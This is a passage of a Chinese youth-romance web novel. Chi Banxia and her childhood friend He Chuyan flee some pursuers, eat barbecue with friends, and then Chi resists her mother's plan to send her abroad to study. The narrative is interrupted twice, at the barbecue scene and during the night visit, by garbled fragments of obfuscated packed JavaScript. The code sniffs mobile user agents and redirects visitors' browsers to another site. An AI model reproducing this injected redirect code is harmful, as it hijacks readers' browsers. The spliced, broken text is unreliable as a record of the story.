黄毛这会才明白刚刚是缓兵之计,气急败坏:“都还看什么!看空气是吧!” “都他妈给我追!” 此时蹁跹衣角飞掠过眼前。 手腕被握住。 池半夏被带着往前跑,扬声问:“你不是挺行的,怎么不以一挑十? 贺初衍回头哼笑,眉目恣性意气:“大小姐,傻子才会迎难而上,聪明人早就学会躺下。” 人声鼎沸,风声在耳畔呼腾。 此刻仿若一场逃离夜色的狂奔。 3. 烧烤 池半夏作为一班唯一能跑完3千米全程的女生,跟着贺初衍沿着江边大桥一路狂奔,跑下来完全轻松不费力。 他们站在桥头,看着大桥的尾巴头,慢腾腾冒出几个气喘吁吁的脑袋。 迎风飘扬的杂乱黄毛格外扎眼,打头的上气不接下气,腰都直不起来,只伸着手指,颤颤巍巍地指着他们。 倒还是那副气急败坏的神情。 就是气势不怎么足。 池半夏看得有些乐:“看着挺唬人的,怎么这么点运动量就不行了。” 转头,贺大少爷背身倚着栏杆,乌黑额发被风轻扬起,路灯微光落在流畅肩颈,长腿懒懒斜放,像是误入一幕养眼的漫画场景。 如果忽视这双浅色瞳孔泛着的戏谑。 “这年头普遍亚健康的年轻学子,能跑一口气跑完3千米的生猛健将,只能说寥寥无几。” “生猛”两个字,从他嘴里说出来,有意无意地下了重音。 池半夏:“……” 好帅的一张脸,好歹毒的一张嘴。 大桥上车辆不停穿行而过,浮成一条不连续的金线。 池半夏捅了捅贺初衍的手臂:“你还要摆着这个愚蠢的pose多久?” 贺初衍懒撩眼眸:“这不是在等您嘲笑完追兵。” “搞得你没笑一样……”池半夏嘟囔道,“那现在做什么,打道回府吗?” 贺初衍:“去老李那。” 池半夏:“行。” 反正老李的烧烤店就在附近,她跑这么久刚好也饿了。 远处的“追兵”还在丧尸般拖行而来。 想要爬到这里,看样子怕是还要等个把小时。 池半夏挥了挥手,权当道别。 毕竟她不像某个没礼貌的人,招呼不打就直接走。 去烧烤店的路很熟,下了桥,从熙然街道岔过去。 路上经过冰淇淋小屋,池半夏清了清嗓子。 贺初衍只当没听到,径直从店前走过。 走出了一小段路,丝毫没有停下的意思。 池半夏深知,隐晦的暗示是叫不醒一个装聋的人的。 于是快步上去,直接上手,扯住了贺初衍的后衣摆。 池半夏朝着冰淇淋小屋的方向努努嘴:“经过冰淇淋店,不给点表示就想走?” 贺初衍转身,一脸果然如此的神情。 开口说出的话也果然一如既往:“为什么要表示?” 池半夏微张嘴唇。 “贺初衍,你忘记你小学四年级摔到了腿,是谁勤勤恳恳任劳任怨不计较回报,接送你上下学整整一个星期?” “小学五年级,你翻墙躲教导主任的突击,是谁冒着巨大的风险不辞艰险地给你通风报信?” “小学六年级,你暑假作业不小心掉进湖里,是谁借长杆给你一本本捞上来,又拿到屋顶给你一本本晾干的?” “初一你发烧,是谁替你做包干区的值日卫生,扫了数不清的枯枝落叶?” “初二暑假我们到溪通组乐队的时候,有个大哥说你小白脸抢他的马子,找一堆人来堵你的时候,是谁越过人群拉着你逃跑?” “所以你现在想想,是不是该对我感激涕零,想方设法地满足我吃冰淇淋的小小愿望?” 贺初衍懒懒抱着双臂:“得亏你这么多年,每次还能一字不差地背出来。” 池半夏仰头:“有我这样全世界对你最好,这么善解人意乐于助人,还这么为你着想的朋友。” “你就偷着乐,好好珍惜——” 也就是一时得意,池半夏没能躲开冲着脸上而来的手掌。 贺初衍手上使了点劲,单手掐住女孩的两边脸颊,用力挤成一张鸭鸭嘴。 池半夏瞪大双眸,发出含糊不清的声响。 “唔……你&%!!!……” 贺初衍口吻满满嚣张的愉悦:“还是闭嘴的时候,顺眼多了。” 池半夏企图用目光杀,来迫使对方就范,可她长相过于乖顺,安静时给人一种小动物般的无害感。 自认为恶狠狠的目光,落在贺初衍眼里,连儿时外婆隔壁邻居家那只张牙舞爪的奶猫,都比不过。 完全没有丝毫威胁感。 下一秒,池半夏垂下眼睫,眼睑处扫下一圈弧形阴影。 那双黑白分明的眼眸,隐约有水雾弥漫。 贺初衍微皱眉头,手指不自觉松劲:“池半夏,你不会吧?” 池半夏没有吭声。 贺初衍稍稍俯身,跟她平视。 池半夏扭过头,硬生生避开了他的视线。 贺初衍:“没吃饭,就哭这么小声?” 池半夏:“……” 然后抿紧嘴唇,绷起倔强的直线。 贺初衍平生最怕女孩哭:“真哭了?” “不就是冰淇淋,至于吗?” 池半夏肩膀微颤起来。 贺初衍口吻难得松动:“你……” “噗。” 池半夏一时没忍住。 一不小心破功了。 贺初衍微挑眉毛,一字一句道:“池、半、夏。” 这哪里是倔强忍着不哭,明明就是在为不要笑得肩膀狂抖而努力。 “我怎么可能会为怎么点小事哭?” 池半夏好不容易看到贺初衍吃瘪的神情,脸上满是张扬漂亮的笑容。 “刚好不太想吃冰淇淋了,记得欠我一桶,今晚嘛,就先放过你了。” 贺初衍:“……” 唇角微掀,嗓音混着笑:“不想吃了是吧?” 池半夏点头:“嗯。” 贺初衍转身。 池半夏奇怪地问:“你去哪?” 贺初衍:“买冰淇淋。” 池半夏:“?” 贺初衍直直朝着路过的冰淇淋店折返。 “今儿这冰淇淋,怎么都要进大小姐的嘴里。” 池半夏听他这冷嗖嗖的语气,总有种要被下毒谋害的感觉。 路灯下拉长少年的挺拔身形。 池半夏站在原地。 哎,这人,到底是不是五行缺拽。 让买的时候死活不买,不让买的时候非要上赶着买。 真是一贯大少爷的狗脾气。 既然贺大少爷要买,那她也不能拦着。 池半夏就静静地等着。 贺初衍在店里买完冰淇淋。 回身,看到直直站在身后的人。 还目光幽幽地盯着他。 要不是看清眼前的人,就冲这吓人劲,贺初衍非得把手里的冰淇淋桶盖上对方脑袋以示尊敬。 “走路没点动静,搁这扮游魂?” 池半夏看向他手里:“哦,香草巧克力双拼味,是我最爱的味道。” 刚刚还在张牙舞爪,浑身写满了得意,这么一小会,就变得蔫不拉叽。 跟地里遭霜冻的小白菜一样。 传来抓狂的交谈声。 “我不是刚月考完,为什么又要月考了?” “你刚刚月考完的是七月的月考,关我下个月八月的月考什么事?难道你中午吃了饭,晚上就不用吃饭了吗?” “啊啊我不想听!你到底为什么说话越来越像我妈了?” …… 两个穿着一中校服的女生结伴走过。 贺初衍淡淡挪回视线。 哦,这是想起伤心事了。 怪不得这大小姐突然就老实了。 此时池半夏安静下来,完全端着乖得不行的模范生范。 只安静朝着前走,吃起怀里抱着的冰淇淋桶。 走了会,池半夏终于后知后觉地想起来:“我的小电驴还在江边呢。” “得亏您还能记得。”贺初衍说,“晚点骑回去不就行了。” 池半夏慢了半拍地点头:“嗯。” 又低头一脸凄惨苦兮兮地舀着冰淇淋。 贺初衍懒散缀在身后。 一眼看到耷拉的乌黑后脑勺。 这小脑袋瓜,八成又开始想些什么杂七杂八的了。 果然下一秒,池半夏突然开口问:“你知道普朗克为什么是地中海发型吗?” 贺初衍:“……” 池半夏自问自答:“因为学物理使人头秃。” 贺初衍:“…………” 池半夏恶狠狠地说:“因为物理是个祸国殃民的小妖精,吸精气索命,于是夜半时分,无数学子精神状态癫狂,又哭又笑又拔头发。” 贺初衍:“………………” 池半夏边吃冰淇淋,边自顾自地说:“阅读理解也是神仙做的题,这年头窗帘什么颜色都能出题了。那我下次也能出题,题目就叫我今晚走在街边吃香草巧克力味双拼冰淇淋桶,反应了本人什么心情?” 贺初衍轻嗤:“除了某人犯馋还能有什么理由。” 池半夏:“……” “你能不能有点文学素养?” 贺初衍说:“您先全对一次古诗词默写题,再说这话?” 池半夏反问:“难道古诗词默写就能跟一个人的文学素养挂钩了吗?” 贺初衍:“……” 他算是看出来了,这位大小姐,乖巧只能是一时假象,杠精上线才是本质。 “您来。”贺初衍说,“让我感受一下文学素养的熏陶。” 池半夏说:“这是借景抒情,托物言志,以乐景衬哀情,反映了本人郁郁不得志的愤懑之情,以及渴望被伯乐赏识的美好愿望。”* 贺初衍:“背阅读题模板上瘾了?” 池半夏闭口不答。 相当理不直气也壮:“这是充分利用整合现有资源。” 贺初衍:“……” 街道旁路灯盏盏,撒下一地光芒。 晚风吹来一身暑气,树梢上蝉鸣阵阵,池半夏吐槽完物理和语文学科,又转向英语化学生物。 就连高一没分班前,学的政治历史地理都没逃过一劫。 却唯独少了一个科目。 贺初衍偏偏故意开口问:“怎么不念叨二次三次反比例,双勾耐克指数函?” 同样是评判学科,还搞上双标这套。 池半夏瞥他一眼。 眼里写满“区区蝼蚁人类,怎敢染指数学”的神情。 “懂什么,函数可是宇宙赋予我们人类的伟大艺术。” 贺初衍:“……” 他突然生出种大晚上跟一个精神状态清奇的人,竟然聊了这么久的荒谬感觉。 池半夏对上对方眼里的复杂神色,自动归为对方这是被数学惊心动魄的美感折服。 虽然这大少爷脾气是狗了些,可对数学饱含敬畏心的人,又能有多坏呢。 于是好心提醒身边这人:“贺大少爷,你记得小心点,别哪一天被物理小妖精吸完精气,头不小心秃了。” 贺初衍:“……” 果然他的荒谬感觉不是空穴来风。 站在这里陪聊的自己,多半也是疯了。 “这就不劳您费这个心了。”贺初衍并不想继续这个清奇话题,“行了蒲松龄·夏,别隔这写一中版聊斋志异了。” “什么蒲松龄·夏,洋不洋,中不中的。”池半夏反驳道,“请叫我池松龄。” 贺初衍:“……” 得,还挑剔上了。 大小姐的难伺候人设不倒。 - 烧烤店坐落在街尾。 这里有一整条街的烧烤店,路人来来往往,灯火通明,白烟腾腾,晚风里冒着勾人胃里馋虫的香味。 橘色路灯映出一高一矮的两道身形。 黄毅宗完全望眼欲穿,瘫坐在椅子上的身躯,突然一个鲤鱼打挺,撑着桌子直直站起来。 朝着两人疯狂招手。 生怕别人看不到他似的。 池半夏和贺初衍走回去,在两人对面坐下。 徐宥打趣:“这是刚万里长征回来?我还以为你们要弃书包潜逃。” 分路跑的时候,池半夏的书包被他顺手抛进了自己那辆推车。 黄毅宗捂着肚子:“你们总算来了,我都要饿得前胸贴后背了!” 贺初衍淡瞥了眼:“那还是有些困难。” 黄毅宗扭头冲着徐宥发问:“这是说我胖的意思吗?这是说我胖的意思吗?这是说我胖的意思吗?” 发动连环追问模式。 徐宥苦口婆心道:“大黄,何苦要自取其辱呢。” 黄毅宗摔手边没拆封的一次性木筷,敲在桌上,发出一声重响。 他打不过少爷是事实,难道还收拾不了这个眼镜儿吗?! 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634139|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄毅宗动作的瞬间,徐宥也极快地做出了反击。 锁喉,剪腿,两人以一个极其高难度的姿势扭打在一起。 战况看起来很激烈,实则是一人完全按住另外一个人。 明显是徐宥占了上分。 黄毅宗被着锁喉,正欲无奈四十五度仰头看夜空,深深感受一下被扼住命运的咽喉的绝望。 一盘烤得色泽漂亮的烤串闯入眼帘。 视线不自觉往旁边挪去,是一张美艳含笑的面容。 “哎呦,这你中有我,我中有你的。”宋雨笑道,“打扰一下,我来上个烤串就走。” 黄毅宗突然见到心心念念的女神,还深陷在惊喜之中,突然听到这句打趣,打了个哆嗦:“不是,雨姐!” “雨姐,上一箱啤酒!” 宋雨回头爽朗笑道:“好,等会!” 黄毅宗只能眼睁睁看女神一溜烟离开。 先上的羊肉烤串被放在桌上。 黄毅宗难得没有第一个抢食,嘴里嘟囔道:“眼镜儿你都老大不小了,怎么还这么幼稚,害我在女神面前丢脸。” 池半夏咬着嘴里的羊肉串,还不忘去抢贺初衍手边盘里的。 闻言一时错神,丧失突袭的机会。 朝黄毅宗看去。 池半夏凭心而论,黄毅宗收拾起来也算个帅小伙,性格开朗热情,就是长了张娃娃脸,看起来完全像个弟弟。 偏偏栽到了雨姐这种极品御姐身上,只可惜,人家只把他当小屁孩看。 今夜注定还是心碎男孩预定。 池半夏举起烤串:“大黄不要伤心,天涯何处无芳草,万紫千红总是春。”* 黄毅宗严肃脸:“我很专一的,心里只有雨姐。” 池半夏:“你误会了。” 黄毅宗:“?” 池半夏:“我的意思是,没准哪天雨姐看倦了世俗的花花草草,对你这种小奶狗类型偶尔感冒一次,也是存在万分之一的可能性的。” 黄毅宗:“……” 听起来自己好像更悲惨了。 这安慰不要也罢。 唯一稳重的徐宥打起圆场,再聊下去大黄非得被仙女聊废不可。 万一黄毅宗冲动告白失败,影响雨姐给的加送烤串福利怎么办? 于是老大哥地提出万金油话题:“大家最近怎么样?” “我呢,还在做艰苦大学军训的心理准备。 两道幽幽视线同时朝他打过去。 池半夏:“准备下一次月考。” 黄毅宗:“继续艰苦复读喽。” 徐宥不鸣则已,一鸣惊人,一下子准确踩中两人的雷区。 “还不如继续点烧烤,就这么点,还不够大黄塞牙缝的。” 这一声标志性的冷嗤,极具存在感。 还在干瞪眼的三人,瞬间统一战线。 “哦,原来这有个提前保送的呢。” “哦,原来这有个脱离高考苦海的呢。” “哦,原来这有个不用受地狱月考折磨的呢。” 齐刷刷地阴阳怪气(羡慕嫉妒)。 “饿疯了?”贺初衍手肘半撑桌边,气定神闲道,“烤茄子要不要?” “要。” “腰子?” “要。” “五花肉?” “要。” …… 烧烤上齐,顿时被龙卷风般暴食席卷。 盘里只剩最后一串烤鸡中翅。 黄毅宗和徐宥为争夺鸡中翅的进食权,再次大打出手。 池半夏喝着豆奶,丝毫没有看戏兴趣,反而用一次性筷子敲起桌面来。 深夜撸串完的大爷经过,被这桌杀猪嚎叫般的声响吸引了注意力。 一桌四个孩子。 两个缠打成混乱一团。 一个神情嫌弃地吃着烤鸡中翅。 唯一的女孩,一手拿着根干净的一次性木筷,一个劲在桌边神神叨叨地敲着。 大爷本想抬腿走,可还是忍不住戳了戳女孩的肩膀,委婉提醒道:“姑娘,时候不早了,吃完就快回家吧!” 池半夏抬眼,对上大爷太过直白灼热的担忧视线,认真解释:“大爷,我以前是鼓手。” 大爷忍住嘴角抽搐。 看这姑娘乖的要命,只当她在开玩笑,又定睛一看,喝的确实是豆奶没错。 贺初衍随口胡诌起来,丝毫脸不红心不跳:“大爷,担待些,孩子醉豆奶了。” 大爷:“……” 好言装乖送走大爷后。 黄毅宗和徐宥总算结束混战。 结果发现烤鸡中翅竟然落入捡漏的贼人之口。 顿时惊呼错算! - 时候不早了,四人吃完就散。 他们刚好是两个方向回家,黄毅宗和徐宥顺路。 走出一段路,徐宥回头挥手:“有事就在‘四方有难踩一脚’的群聊里喊一声!” 黄毅宗揽住他的肩膀:“随叫随到!明年的乐队纪念日也一起过!” 池半夏高高比了个OK的手势。 贺初衍站在女孩身后,目光跟远处的两人对视。 池半夏和贺初衍一路散步到江边,取回小电驴。 一路骑回小区。 他们坐电梯上楼,笑闹着走到门前。 贺初衍单肩背着书包,躲开了池半夏的一记伸脚踢。 池半夏边输入密码开锁,边说:“贺初衍,你有本事别躲。” 贺初衍:“难道还要干站着被打?” “大小姐,你还有没有道理?” “要什么道理?” 池半夏还想开口,把门拉开缝隙的时候,看到透到脚边的灯光,奇怪地喃喃:“哎,家里灯怎么是亮的?” “我明明记得昨晚关了灯啊。” 贺初衍:“毕竟贵人多忘事。” “不会说话就别——” 池半夏拉开门,看清眼前的人后,笑容僵在唇角。 沙发上坐着位气质出众的中年妇人,一贯精致得体的妆容和套装。 目光淡淡朝门口两人瞥来。 却带着一股仿佛冻结空气的威慑感。 池半夏顿时缩回打闹的手。 有些没反应过来地问:“妈……你怎么回来了?” 4. 夜色 Summer,you 瞿丽君起身朝他们走来,目光淡淡落在书包上面。 池半夏循着目光看去,才想起来刚刚上楼,她嘴馋又吃了两三颗巧克力,犯懒就没拉上拉链。 此时她的书包,正斜挂在贺初衍左边肩膀,松松垮垮敞着,吊带完全掉出来,露出一半的物竞金牌。 瞿丽君自然是认识她的书包的。 池半夏连忙伸手,扯了扯书包肩带。 然后从贺初衍手里接过自己的书包,把拉链“滋啦”拉到底,抱在了怀里。 瞿丽君目光从池半夏脸上挪开,朝着贺初衍看去:“阿衍,还没有祝贺你得奖。” 贺初衍神情难得没有往日懒散:“谢谢瞿姨。” 瞿丽君问:“这么快就回国了,怎么不在爸妈身边多待一段日子?有段时间没见了,他们最近还好吗?” 贺初衍说:“我爸还是老样子,在国外飞来飞去,我妈忙完摄影巡展,前段时候陪外婆住了段时间,就跟老爸去度假了。” “怎么不跟着一起去玩?”瞿丽君说,“我看暑假很多人都在外面。” “他们双人蜜月,哪顾得上我?”贺初衍口吻带了几分玩笑意味,“我不在爸妈身边,他们倒乐得自在。毕竟我家一向父母是爱情,儿子是意外。” “你这孩子,那是爸妈感情好。”瞿丽君轻笑,“阿衍,进来坐坐吗?” 池半夏偏头朝着贺初衍看去。 正好贺初衍视线跟她错开:“也不早了,瞿姨我就不进去坐了。” 瞿丽君说:“确实挺晚了,晚上早点睡。” “瞿姨,你也早些休息。” “嗯。” 贺初衍转身前,不动声色朝着池半夏递去目光。 池半夏飞速比了个口型:快走吧。 等贺初衍离开,池半夏赶紧关上门。 瞿丽君坐回到沙发上,神色一如既往平静。 客厅里重新陷入沉默。 池半夏换鞋,率先开口:“妈,我去洗澡了。 瞿丽君薄唇微张:“都十一点了,也不差这会。” “过来聊聊。” 池半夏知道是躲不开了,慢腾腾挪到沙发边,抱着书包,坐在瞿丽君对面。 瞿丽君是典型的事业型强人,一向不喜欢拐弯抹角:“我今天跟你班主任通了电话,今晚学校没有安排晚习。半夏,如果你对自己不上心,我也没什么好说的。” 池半夏:“只是吃了顿饭而已。” 瞿丽君:“吃烧烤到十一点回家?” “你跟阿衍……”她微顿了下,似乎在思考措辞,她总是体面的,神情在此时显得格外漠然,“你们终究是不一样的,他得天独厚,这个世界摆在他的眼前,他有太多的选择。” “半夏,你呢?你说想学架子鼓,你也去学了,初二暑假都在埋头冲刺的时候,你去溪通参加乐队比赛,我没有拦过你,你说走数竞,高二上学期说要退出,我也没说过什么。” “最后是什么结果,应该不用我再给你重复一遍。” 池半夏半垂视线,避开了她的视线。 瞿丽君说:“我想你也不怎么想听。” 池半夏:“……” 她知道瞿丽君说的是中考失利的事情,冰箱里那瓶过期的酸奶,导致她最擅长的数学科目缺考。 从明礼寄以厚望的中考状元的头号竞争者跌落的落差,并不是很好受。 这种意外的理由,瞿丽君一向不看过程只看结果,只会回她诸如一句:上战场还管你的枪会不会坏么? 有什么堵在喉咙似的,沉甸甸的,像是发锈的铁。 沉默在发酵。 瞿丽君把茶几上放的牛皮纸文件袋,推到了池半夏的面前。 “半夏,你看看。” 池半夏拆开文件袋,看清里头文件时,不可置信地抬头:“……这是?” 瞿丽君说:“我联系了留学中介,具体的事项已经帮你咨询好了,家里既然有这个条件,也没必要不动用。” 池半夏不假思索地拒绝:“我不想去。” 瞿丽君心平气和地说:“英语等级考试对你来说,并不是什么难事,不用千军万马过独木桥,你可以松口气,你想玩的架子鼓,可以重新捡起来,也可以尽情享受最后一年的高中生活,你为什么不想去?” 池半夏指腹捏在文件袋的边缘,心里生出的抵触愈深。 “我不想当逃兵。” 瞿丽君问:“你是不想当逃兵,还是舍不得这里的谁?” 那道目光像是针芒一样,直直打到她的身上。 池半夏瞬间有种被看透的剥离感。 “我的确舍不得这里的朋友……们,但那只是其中一个原因。” 瞿丽君神情了然:“半夏,在家里这些孩子里,属你天赋最高,你是当年的中考状元,而你檬檬姐在一年排百名之外,是她中学时代发挥最好的一次成绩,去年这时候她的刻苦,你是看在眼里的,她足够踏实努力,结果也从来不会骗人,她今年考入了A大。” 池半夏:“……” 一时没有人再说话。 过了好一会,池半夏半垂的眼睫微动,抖落沾染的橘色灯光。 “妈,你是觉得我考不上A大吗?” “还是怕人人都觉得能考上A大的女儿,像是中考那样失利,会给你丢脸?” 她一股脑地说出来,也不管到底心里到底是不是这样想的。 瞿丽君语调依旧平稳:“半夏,你一定要这样跟妈妈说话吗?” 池半夏突然生出种一拳砸到棉花上的无力感受。 电话铃声突兀响起。 是瞿丽君的来电。 瞿丽君微皱眉头,起身拿起手机:“妈妈接个电话。” 池半夏“嗯”了声。 瞿丽君到阳台处接电话。 传来电话交谈声,池半夏听到瞿丽君推后手头所有工作,昨晚临时决定飞回来的。 她的声音不见疲惫,语调平稳,却明显带着上级对下属的威严感。 池半夏静静看着她的侧脸。 她从没有见过瞿丽君情绪失控的模样,和父亲池建兴多年以来也从没有吵过架,比起亲昵的夫妻关系,两人倒更像是默契的事业合作伙伴。 他们之间不像是因为爱情结合,反倒像是互相选择了对方。 池半夏收回视线,她已经习惯父母忙碌的日常。 太多失望积累下来,也就没什么多的反应了。 “事况我已经大致了解,我会坐明早的航班回去。” 池半夏翻着留学资料的指腹微顿,随后翻开了下一页。 过了会,瞿丽君在沙发对面坐下来。 池半夏却抱着书包站起来:“妈,那我换种说法。” 她的口吻认真:“我最想成为一名闪耀鼓手的年纪是十四岁,现在已经我十七岁了,明年七月我就十八岁成年了,我有权也有信心对我的人生负责,而且无论您相不相信,这个世界我最相信我自己,我的目标只有A大。” 池半夏放完话,也没看瞿丽君的反应,拿起茶几上的文件袋:“妈,这些留学资料,我就留下了。” “我先去洗澡了,明天学校还有早习。” 身后传来瞿丽君的唤声:“半夏。” 池半夏停步,侧脸背光:“妈,明天路上注意安全。” “工作再忙,你和爸也要注意身体。” - 池半夏房间配套浴室里洗完澡,在衣橱里的睡衣里,选了套毛绒绒的浅蓝色恐龙的玩偶连体睡衣。 她心情不好的时候,总是会穿上毛绒绒的睡衣,然后闭眼睡觉。 把所有烦心的事情都扔出脑袋。 可今晚,池半夏翻来覆去都睡不着,最后干尸般平躺床上,只能认命地,跟昏暗的天花板干瞪眼。 她平常看起来大大咧咧的,脾气实则一等一的倔。 属于不让往哪头偏要往那头跑,不撞南墙不回头的类型。 池半夏刚刚话是放出去了,可那股烦心的感觉,却在心口萦绕不散。 突然挺尸坐起身,摸起床头柜的手机。 点开聊天框,刚想发消息。 正好看到对方发来一条新消息。 【C:睡了吗】 池半夏手指敲了敲屏幕。 【Summer:睡了】 下一秒,消息来了。 【C:汝好梦里回消息?】 池半夏回他。 【Summer:吾好梦里鲨人】 回完后,池半夏迟迟没有等到贺初衍的消息。 刚想狂发消息质问对方,是不是睡着了的时候,突然听到阳台处传来动静。 一晃神又像是耳朵的错觉。 池半夏脑海里瞬间冒过很多侦探小说的情节,很多危机的开始,都是因为一时的侥幸大意。 她穿着拖鞋,小心翼翼地踏步,猫着腰从盆栽架旁经过,从高达两米的骑士积木手里,抽出实心木长剑。 咚、咚、咚。 玻璃门传来三道轻敲声。 池半夏听到熟悉的敲门方式,悬着的心顿时落了下来,莫名还带着几分冒险失败的淡淡失望。 这栋公寓是两家为他们就读一中买的,贺初衍住在隔壁,阳台是连通的,很容易就可以翻过来。 约定的暗号就是三下敲门声。 厚重窗布被池半夏掀开。 隔着窗台落下的月色,两人面面相觑。 贺初衍目光落在她手里高举的实木剑。 “大晚上汝好梦里斩魂?” 池半夏把剑放下:“我剑术高明,你以后最好可要小心点,别乱招惹我。” 贺初衍视线落在她身上:“穿着这种衣服说这话,可没有一点说服力。” 池半夏:“哪种衣服?你这是对毛绒绒有偏见。” 贺初衍:“HelloKitty上京骂,挺稀奇。” 池半夏:“……” 贺初衍抬起手指,又叩了下玻璃门:“大小姐,还打不打算开门了?” 池半夏仰头:“谁让你不事前预约好。” 贺初衍说:“还日理万机上了。” “你知道就好。” 话虽这样说,池半夏还是打开了锁着的玻璃门。 又从手边柜子里,拿出贺初衍的备用拖鞋,扔到地板上。 贺初衍走进来换鞋:“大晚上还锁门,安全感缺失啊?” 池半夏转身:“主要是防贼。” “防贼”两个字尤其强调重音。 贺初衍直起身,稳稳接过池半夏背身抛来的实木剑。 经过两米高的骑士积木时,顺手把剑插了回去。 池半夏摁开灯,把书桌前的椅子拖开距离。 贺初衍问:“客人来了,都不给一杯喝的?” “回家去喝。” 话音刚落,贺初衍坐到了椅子上。 池半夏指着角落里的备用椅:“这椅子就这么几步路,你不能自己搬一下吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634140|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 贺初衍丝毫没有愧疚的意思:“哪有客人动手的道理。” 池半夏:“……” “还真把这里当自己家了。” “你不是非要认我妈当干妈吗?”身后传来贺初衍的声音,“算起来,我也算得上你名义上的哥哥。” 池半夏搬起椅子:“什么时候的事?大概是小学三年级的事情吧,少爷,难得您还记得这么清。 “看来您很怀念那段时间呢。” 贺初衍淡淡“哦”了声:“是小学三年级?我都记不清时间了,难为你还记得。” 池半夏:“……” “你大晚上过来,就是为了过来贫的?” 贺初衍反问:“不然是来安慰你的?” 池半夏顿时反驳:“谁要你安慰?” 抬眼却看到贺初衍翻着她的留学资料,饶有兴致地看着。 那股斗嘴的气势,很突然就散了。 池半夏微抿嘴唇,坐在自己搬来的椅子上。 “看够了吗?” 贺初衍问:“哪来的资料?” 池半夏语调不甚在意:“我妈给的,她跟我说了很多,又说送我出国留学,我想了想,她说的挺对的,卷A大那么累,出国也没什么不好的。” 贺初衍把留学资料一抛,抬眼瞥她:“大小姐,A大对你来说,什么时候是难事了?” 橘色灯光映亮少年眉眼,恣意又张狂。 池半夏感觉心跳漏了一拍,挪开目光,用着玩笑口吻:“没准我江郎才尽了。” 贺初衍:“少给你自己贴金。” “……”池半夏无语,“不会安慰人就别说了。” 池半夏还在坐着,椅子横杠被长腿一勾,整个人连带着向前栽去。 手肘撑住桌面,才堪堪稳住身形。 淡淡的薄荷香气撞过鼻尖。 池半夏瞪向始作俑者。 贺初衍抬眼瞥她,浅色瞳孔浸着笑意,混蛋又无辜。 “谁说我不会安慰人了?” 池半夏回视:“倒是给我看看。” 贺初衍:“你可是第一个说要打败我的人。” 池半夏:“……” 怎么会有这样的人,安慰人还要给自己贴金。 “就你最厉害行了吧。” “我二十三名,配不上当少爷的对手。” 贺初衍唇角微掀。 “大小姐,你到底在担心什么?” “中考失利,第二年你是中考状元。” “高二你退出数竞,重抓学业,每晚最后一批下晚习,因为担心不吉利,整整两个月,连馋了很久的捞粉都一直没吃,结果考试前夕,还是忍不住大半夜拉我去吃,一吃就是三大碗,活像饿死鬼投……” 池半夏语气很嫌弃地打断:“贺初衍,没人告诉你安慰别人的时候,不要重提黑历史吗?” 在充满威胁的目光下,贺初衍懒懒改口:“那次年级第一,是你努力的答案。” “事实如此。”池半夏说,“也不用你说。” 贺初衍问:“甲方可满意?” 池半夏压住微勾唇角:“一般,继续试试。” 贺初衍张嘴就来:“勾践卧薪尝胆,拿破仑还有滑铁卢的时候,热血漫画里的英雄主角,经历从来没有一帆风顺、一波无澜的。” “大小姐,听从自己心底的声音,成为自己,也成为心里那个独一无二的主角。” “你比你想象中还要优秀,也更勇敢。” “Summer,youdeserveit.”(你当之无愧) “我知道你会做到想做的一切。” 他用的是“会”这个字。 不带任何疑问、如此笃定地相信她。 池半夏定定看着贺初衍,鼻尖上涌涩意。 突然起身,推着他的肩膀,不管不顾地往玻璃门外推。 “贺初衍,你肉麻死了!” 埋怨的尾音,却是遮不住的哭腔。 贺初衍一直被推到门外。 池半夏不住催促:“你快走吧。” 她一直垂着头,也就没能反应过来少年突然的转身。 猝不及防抬眼,才发现他们离得有些近。 近得能看清,少年浅色瞳孔里盛着的清浅月色。 显得他的目光有些深。 池半夏眼眶泛了一圈微红,怔怔看着他。 然后看到少年抬起手指。 有瞬间的恍惚,以为他要摸自己的眼角。 呼吸好像都停了。 结果脸颊被很重地捏了把。 池半夏痛得“嘶”了声,瞪着罪魁祸首。 果然是个混球! “唰啦”一声。 池半夏伸手,泄愤般把窗帘拉上。 没过几秒,又担心光线暗,少年会不小心摔到,连忙把窗帘掀开。 “你小心点!”差点没压住声量。 池半夏连忙捂住嘴唇。 贺初衍转身:“就这么担心我?” 池半夏不怎么自然地说:“担心什么,我只是不想被你拖累。” “万一上了社会新闻,大晚上不清不白的,扯不干净了……” 池半夏突然反应过来,也不知道自己到底在说些什么。 险些咬住自己的舌尖。 瘦削的少年身形半隐浓重夜色。 晚风扬起乌黑额发,贺初衍突然笑了,神色看不分明,有些散漫。 “大小姐,晚安。” 5. 早习 第二天,池半夏醒来时,瞿丽君已经离开了。 客厅空荡荡的,落地窗洒满阳光。 池半夏简单收拾完,咬着块黄油吐司出门。 楼道拐角外,贺初衍懒倚着墙,单肩松垮挂着书包,垂眼看着手机。 一中的校服在整个南江都是统治级别的好看,款式多达五六款,其中男生最常穿的是英伦风白衬衫长裤,靛蓝白条纹的温莎领结。 少年顶部纽扣没有系上,明明是每天都看到的校服,穿在他身上,没有半分规训感,反而衬得极为腿长。 池半夏一看到贺初衍,就想起昨晚丢脸的场面,借着垂头,理了理靛青色格纹百褶裙摆。 “大早上你在这里干什么?” 贺初衍抬眼:“等电梯啊。” 池半夏脱口而出:“我还以为……” 贺初衍挑眉:“以为?” 池半夏走到电梯门口:“没什么。” 走进电梯,贺初衍朝池半夏目光示意。 池半夏知道这人大少爷病又犯了,懒得跟他计较。 摁了一楼的按钮。 